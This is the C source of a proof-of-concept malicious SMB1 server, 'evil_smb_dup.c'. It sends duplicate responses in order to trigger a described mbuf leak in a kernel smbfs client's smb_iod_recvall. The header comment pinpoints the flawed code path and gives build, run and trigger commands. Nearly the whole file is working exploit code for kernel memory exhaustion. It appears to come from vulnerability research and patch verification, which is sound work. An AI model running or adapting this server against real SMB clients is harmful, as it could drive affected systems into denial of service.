/*
 * evil_smb_dup.c — malicious SMB1 server that sends DUPLICATE responses
 * to trigger DF-0627 (smb_iod_recvall duplicate-response mbuf leak).
 *
 * Based on DF-0901's stub_smbd.c. Modified to send TWO identical responses
 * for every post-mount request, packed into a SINGLE TCP write to maximize
 * the chance both arrive before the waiter removes rqp from iod_rqlist.
 *
 * The leak: smb_iod_recvall (smb_iod.c:363-366) else branch breaks out of
 * TAILQ_FOREACH WITHOUT freeing the duplicate mbuf. Post-loop m_freem at
 * :377 is gated on rqp==NULL which is FALSE after match at :355, so m leaks.
 *
 * Build: cc -o evil_smb_dup evil_smb_dup.c
 * Run:   ./evil_smb_dup [port] [verbose]
 *
 * Then on guest (as root):
 *   kldload smbfs
 *   ./evil_smb_dup 139 &
 *   netstat -m | head -2    # baseline mbuf count
 *   mount_smbfs -N -I 127.0.0.1 //guest@evil/share /mnt
 *   ls /mnt                 # trigger requests that get duplicate responses
 *   netstat -m | head -2    # mbuf count should CLIMB (leak)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

static int verbose = 0;
#define V(...) do { if (verbose) fprintf(stderr, __VA_ARGS__); } while(0)

static unsigned char smb_sig[4] = {0xff,'S','M','B'};

static int readn(int fd, void *buf, int n) {
    int got = 0;
    while (got < n) {
        int r = read(fd, (char*)buf + got, n - got);
        if (r <= 0) return -1;
        got += r;
    }
    return 0;
}

/* Build a complete SMB1 response into pkt[]. Returns total packet size (NBSS + SMB). */
static int build_smb_resp(unsigned char *pkt, unsigned char cmd, unsigned int mid,
                          unsigned int tid, unsigned int uid, unsigned int pid,
                          const unsigned char *words, int nwords,
                          const unsigned char *bytes, int nbytes)
{
    int hdr_sz = 32;
    int body_sz = 1 + nwords * 2 + 2 + nbytes;
    int total = hdr_sz + body_sz;
    int off;

    pkt[0] = 0x00;
    pkt[1] = (total >> 16) & 0xff;
    pkt[2] = (total >> 8) & 0xff;
    pkt[3] = total & 0xff;
    off = 4;

    memcpy(pkt + off, smb_sig, 4); off += 4;
    pkt[off++] = cmd;
    pkt[off++] = 0; pkt[off++] = 0; pkt[off++] = 0; pkt[off++] = 0; /* NT status = 0 */
    pkt[off++] = 0x80;                  /* flags: reply */
    pkt[off++] = 0x00; pkt[off++] = 0x40; /* flags2: NT_STATUS */
    pkt[off++] = (pid >> 8); pkt[off++] = pid; /* PIDHigh */
    memset(pkt + off, 0, 8); off += 8;  /* signature */
    pkt[off++] = 0; pkt[off++] = 0;    /* reserved */
    pkt[off++] = tid & 0xff; pkt[off++] = (tid >> 8);
    pkt[off++] = pid & 0xff; pkt[off++] = (pid >> 8);
    pkt[off++] = uid & 0xff; pkt[off++] = (uid >> 8);
    pkt[off++] = mid & 0xff; pkt[off++] = (mid >> 8);

    pkt[off++] = nwords;
    if (words && nwords > 0) memcpy(pkt + off, words, nwords * 2);
    off += nwords * 2;
    pkt[off++] = nbytes & 0xff;
    pkt[off++] = (nbytes >> 8) & 0xff;
    if (bytes && nbytes > 0) memcpy(pkt + off, bytes, nbytes);

    return off; /* total bytes including NBSS header */
}

/* Convenience: build + write single response */
static void send_smb(int fd, unsigned char cmd, unsigned int mid,
                     unsigned int tid, unsigned int uid, unsigned int pid,
                     const unsigned char *words, int nwords,
                     const unsigned char *bytes, int nbytes)
{
    unsigned char pkt[8192];
    int sz = build_smb_resp(pkt, cmd, mid, tid, uid, pid, words, nwords, bytes, nbytes);
    write(fd, pkt, sz);
}

/* Build a TRANS2 response */
static int build_trans2_resp(unsigned char *pkt, unsigned int mid, unsigned int tid,
                             unsigned int uid, unsigned int pid,
                             const unsigned char *t2_params, int t2_paramlen,
                             const unsigned char *t2_data, int t2_datalen)
{
    int hdr_sz = 32;
    int wc_area = 1 + 10 * 2;
    int bc_field = 2;
    int pad1 = 0;
    int param_off = hdr_sz + wc_area + bc_field + pad1;
    int pad2 = (4 - ((param_off + t2_paramlen) % 4)) % 4;
    if (t2_datalen == 0) pad2 = 0;
    int data_off = param_off + t2_paramlen + pad2;
    int byte_count = pad1 + t2_paramlen + pad2 + t2_datalen;
    int total = hdr_sz + wc_area + bc_field + byte_count;
    int off;

    pkt[0] = 0x00;
    pkt[1] = (total >> 16) & 0xff;
    pkt[2] = (total >> 8) & 0xff;
    pkt[3] = total & 0xff;
    off = 4;

    unsigned char cmd = 0x32;
    memcpy(pkt + off, smb_sig, 4); off += 4;
    pkt[off++] = cmd;
    pkt[off++] = 0; pkt[off++] = 0; pkt[off++] = 0; pkt[off++] = 0;
    pkt[off++] = 0x80;
    pkt[off++] = 0x00; pkt[off++] = 0x40;
    pkt[off++] = (pid >> 8); pkt[off++] = pid;
    memset(pkt + off, 0, 8); off += 8;
    pkt[off++] = 0; pkt[off++] = 0;
    pkt[off++] = tid & 0xff; pkt[off++] = (tid >> 8);
    pkt[off++] = pid & 0xff; pkt[off++] = (pid >> 8);
    pkt[off++] = uid & 0xff; pkt[off++] = (uid >> 8);
    pkt[off++] = mid & 0xff; pkt[off++] = (mid >> 8);

    pkt[off++] = 10;
    pkt[off++] = t2_paramlen & 0xff; pkt[off++] = (t2_paramlen >> 8);
    pkt[off++] = t2_datalen & 0xff; pkt[off++] = (t2_datalen >> 8);
    pkt[off++] = 0; pkt[off++] = 0;
    pkt[off++] = t2_paramlen & 0xff; pkt[off++] = (t2_paramlen >> 8);
    pkt[off++] = param_off & 0xff; pkt[off++] = (param_off >> 8);
    pkt[off++] = 0; pkt[off++] = 0;
    pkt[off++] = t2_datalen & 0xff; pkt[off++] = (t2_datalen >> 8);
    pkt[off++] = data_off & 0xff; pkt[off++] = (data_off >> 8);
    pkt[off++] = 0; pkt[off++] = 0;
    pkt[off++] = 0; pkt[off++] = 0;

    pkt[off++] = byte_count & 0xff;
    pkt[off++] = (byte_count >> 8) & 0xff;
    if (t2_params && t2_paramlen > 0) memcpy(pkt + off, t2_params, t2_paramlen);
    off += t2_paramlen;
    off += pad2;
    if (t2_data && t2_datalen > 0) memcpy(pkt + off, t2_data, t2_datalen);
    off += t2_datalen;

    return off;
}

static int build_find_entry(unsigned char *buf, const char *name, int is_dir) {
    int name_len = strlen(name);
    int entry_sz = 64 + name_len;
    int off = 0;
    buf[off++]=0; buf[off++]=0; buf[off++]=0; buf[off++]=0;
    buf[off++]=0; buf[off++]=0; buf[off++]=0; buf[off++]=0;
    memset(buf+off, 0, 8); off += 8;
    memset(buf+off, 0, 8); off += 8;
    memset(buf+off, 0, 8); off += 8;
    memset(buf+off, 0, 8); off += 8;
    memset(buf+off, 0, 8); off += 8;
    memset(buf+off, 0, 8); off += 8;
    unsigned int attr = is_dir ? 0x10 : 0x20;
    buf[off++]=attr&0xff; buf[off++]=(attr>>8)&0xff;
    buf[off++]=(attr>>16)&0xff; buf[off++]=(attr>>24)&0xff;
    buf[off++]=name_len&0xff; buf[off++]=(name_len>>8)&0xff;
    buf[off++]=(name_len>>16)&0xff; buf[off++]=(name_len>>24)&0xff;
    memcpy(buf+off, name, name_len); off += name_len;
    return off;
}

static int dup_count = 0;

static void handle_session(int cfd) {
    unsigned char nbss[4];
    unsigned char buf[65536];
    unsigned int cur_tid = 1, cur_uid = 1;
    int mounted = 0;

    V("client connected\n");

    /* NBSS session request */
    if (readn(cfd, nbss, 4) < 0) return;
    if (nbss[0] == 0x81) {
        int nl = (nbss[1]<<16)|(nbss[2]<<8)|nbss[3];
        if (nl > 0 && nl < (int)sizeof(buf)) readn(cfd, buf, nl);
        unsigned char resp[4] = {0x82,0,0,0};
        write(cfd, resp, 4);
        V("NBSS positive response\n");
    }

    for (;;) {
        if (readn(cfd, nbss, 4) < 0) break;
        int msglen = (nbss[1]<<16)|(nbss[2]<<8)|nbss[3];
        if (nbss[0] != 0x00) break;
        if (msglen <= 0 || msglen >= (int)sizeof(buf)) break;
        if (readn(cfd, buf, msglen) < 0) break;
        if (memcmp(buf, smb_sig, 4) != 0) break;

        unsigned char cmd = buf[4];
        unsigned int mid = buf[30] | (buf[31] << 8);
        unsigned int tid = buf[24] | (buf[25] << 8);
        unsigned int pid_low = buf[26] | (buf[27] << 8);
        unsigned int pid_high = buf[12] | (buf[13] << 8);
        unsigned int pid = pid_low | (pid_high << 16);
        unsigned int uid = buf[28] | (buf[29] << 8);

        V("cmd=0x%02x mid=%u mounted=%d\n", cmd, mid, mounted);

        /* For post-mount commands, build the response and send it TWICE
         * in a single write() to maximize the race window */
        if (mounted && cmd != 0x72 && cmd != 0x73 && cmd != 0x75) {
            unsigned char pkt1[8192], pkt2[8192];
            unsigned char combined[16384];
            int sz1 = 0, sz2 = 0;

            /* Build response based on command type */
            if (cmd == 0x32) {
                /* TRANS2 FIND_FIRST2 */
                unsigned char t2p[10] = {1,0, 1,0, 1,0, 0,0, 0,0};
                unsigned char entry[256];
                int entry_sz = build_find_entry(entry, "FILE", 0);
                sz1 = build_trans2_resp(pkt1, mid, tid, uid, pid, t2p, 10, entry, entry_sz);
            } else if (cmd == 0xa2) {
                /* NT_CREATE_ANDX */
                unsigned char w[42*2];
                memset(w, 0, sizeof(w));
                w[0] = 0xff; w[4] = 0x01; w[8] = 0x20;
                sz1 = build_smb_resp(pkt1, cmd, mid, tid, uid, pid, w, 42, NULL, 0);
            } else {
                /* Generic success response */
                sz1 = build_smb_resp(pkt1, cmd, mid, tid, uid, pid, NULL, 0, NULL, 0);
            }

            /* Copy response twice into combined buffer */
            memcpy(combined, pkt1, sz1);
            memcpy(combined + sz1, pkt1, sz1);
            /* Single write() -> both responses arrive in one soreceive */
            write(cfd, combined, sz1 * 2);
            dup_count++;
            V("  DUPLICATE sent for cmd=0x%02x mid=%u (total dups=%d)\n", cmd, mid, dup_count);
            continue;
        }

        switch (cmd) {
        case 0x72: { /* NEGOTIATE */
            unsigned char w[17*2];
            memset(w, 0, sizeof(w));
            w[0] = 7; w[1] = 0;     /* DialectIndex = 7 */
            w[2] = 0x01;            /* SecurityMode */
            w[4] = 10;              /* MaxMpxCount */
            w[6] = 1;               /* MaxVCs */
            w[8] = 0x04; w[9] = 0x11; /* MaxBufferSize */
            w[12] = 0x00; w[13] = 0x04; /* MaxRawSize */
            w[16] = 1;              /* SessionKey */
            w[20] = 0x18; w[21] = 0; /* Capabilities */
            send_smb(cfd, cmd, mid, tid, uid, pid, w, 17, NULL, 0);
            V("  NEGOTIATE -> dialect 7\n");
            break;
        }
        case 0x73: { /* SESSION_SETUP_ANDX */
            unsigned char w[3*2];
            memset(w, 0, sizeof(w));
            w[0] = 0xff;
            cur_uid = uid;
            unsigned char d[] = {'D','F','B','S','D',0,'s','m','b','f','s',0,'W','O','R','K','G','R','O','U','P',0};
            send_smb(cfd, cmd, mid, tid, uid, pid, w, 3, d, sizeof(d));
            V("  SESSION_SETUP -> ok\n");
            break;
        }
        case 0x75: { /* TREE_CONNECT_ANDX */
            unsigned char w[7*2];
            memset(w, 0, sizeof(w));
            w[0] = 0xff;
            w[4] = 1;
            w[6] = 0xff; w[7] = 0x1f;
            w[8] = 0xff; w[9] = 0x1f;
            cur_tid = tid;
            unsigned char d[] = {'A',':',0};
            send_smb(cfd, cmd, mid, tid, uid, pid, w, 7, d, sizeof(d));
            mounted = 1;
            V("  TREE_CONNECT -> ok (mounted!)\n");
            break;
        }
        default:
            send_smb(cfd, cmd, mid, tid, uid, pid, NULL, 0, NULL, 0);
            V("  -> default ok\n");
            break;
        }
    }
    V("session ended (total duplicates sent: %d)\n", dup_count);
}

int main(int argc, char **argv) {
    int port = 139;
    int sfd, cfd, opt = 1;
    struct sockaddr_in addr;

    if (argc > 1) port = atoi(argv[1]);
    if (argc > 2) verbose = 1;

    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);

    sfd = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    addr.sin_port = htons(port);
    if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
    if (listen(sfd, 5) < 0) { perror("listen"); return 1; }
    fprintf(stderr, "evil_smb_dup on 127.0.0.1:%d (verbose=%d)\n", port, verbose);

    while ((cfd = accept(sfd, NULL, NULL)) >= 0) {
        if (fork() == 0) {
            close(sfd);
            handle_session(cfd);
            close(cfd);
            _exit(0);
        }
        close(cfd);
    }
    return 0;
}
